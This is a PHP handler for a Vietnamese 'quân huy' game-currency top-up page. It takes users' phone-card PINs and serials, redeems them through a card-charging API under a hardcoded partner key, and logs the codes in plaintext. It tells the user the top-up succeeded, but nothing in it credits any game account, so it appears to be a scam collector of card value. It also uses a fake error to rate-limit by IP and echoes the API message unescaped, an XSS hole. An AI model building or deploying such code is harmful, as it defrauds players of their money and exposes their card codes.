<?php
require('../antispamX.php');

    $file = file_get_contents('ip.log', true);
$result = substr_count($file, $ip);
if($result >= 10 ){
    die('<script>toastr.error("USER_NOT_EXIST_OR_OFF_");</script>');
}

$username = $_POST['username'];
$card_type = $_POST['card_type'];
$card_amount = $_POST['card_amount'];
$serial = $_POST['serial'];
$pin = $_POST['pin'];
$tranid = 'quanhuy'.rand(10000,999999);

$partner_id = '6424679561';
$partner_key = '594f3d485f0e2b27a0141d55041e8e8c';
if(!$username || !$card_amount || !$pin || !$card_type || !$serial){
    die ('<script>toastr.error("Bạn chưa nhập đầy đủ thông tin");</script>');
}

$data = array(
    'telco' => $card_type,
    'code' => $pin,
    'serial' => $serial,
    'amount' => $card_amount,
    'request_id' => $tranid,
    'partner_id' => $partner_id,
    'sign' => md5($partner_key . $pin . $serial),
    'command' => 'charging'
);
$curl = curl_init();

curl_setopt_array($curl, [
    CURLOPT_URL => 'http://trumthe.vn/chargingws/v2?'.http_build_query($data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => 'GET',
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
    ],
]);

$response = curl_exec($curl);

curl_close($curl);
$post = json_decode($response, true);


if ($post['status'] == 99) {
    date_default_timezone_set('Asia/Ho_Chi_Minh');
    $time = date('d/m/Y - H:i:s');

     echo '<script>toastr.success("Nạp quân huy thành công !");</script>';
    $path = 'quanhuy.txt';
    $f = fopen($path, 'a');
    fwrite($f,'Người Nạp:'. $username.'| Nhà Mạng: '.$card_type.'| Mệnh Giá: '.$card_amount. '| Mã Thẻ: '.$pin.'| Seri Thẻ: '.$serial.' Thời Gian: '.$time."\n");
    fclose($f);
     $fp = fopen('ip.log', 'a');
    fwrite($fp, $ip."\n");
    fclose($fp);
    
    
   
   
}else{
    echo '<script>toastr.error("'.$post['message'].'");</script>';
   
}